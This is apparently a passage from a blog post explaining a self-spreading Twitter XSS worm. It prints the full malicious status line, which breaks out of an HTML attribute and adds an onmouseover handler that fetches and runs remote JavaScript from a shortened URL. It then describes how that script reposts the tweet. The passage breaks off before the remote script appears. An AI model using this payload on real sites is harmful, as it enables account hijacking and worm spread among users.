So, the exploit work like this:
Step 1:
User writes the following status line:
http://t.co/@”style=”font-size:999999999999px;”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/
the @” basically closes the tweet’s html element title attribute and lets the hacker had his own attributes. Specifically an onmouseover attribute that’ll run his JavaScript code when the users hover over the tweet.
Step 2:
The onmouseover event fetches and executes a remote JS code from: http://is.gd/fl9A7
Step 3:
The remote script (which is not subject to size limits like the script embedded in the user’s status can basically do whatever the hacker wants. This one just plays with the page’s HTML to submit a new tweet (from step #1) and spread itself on:
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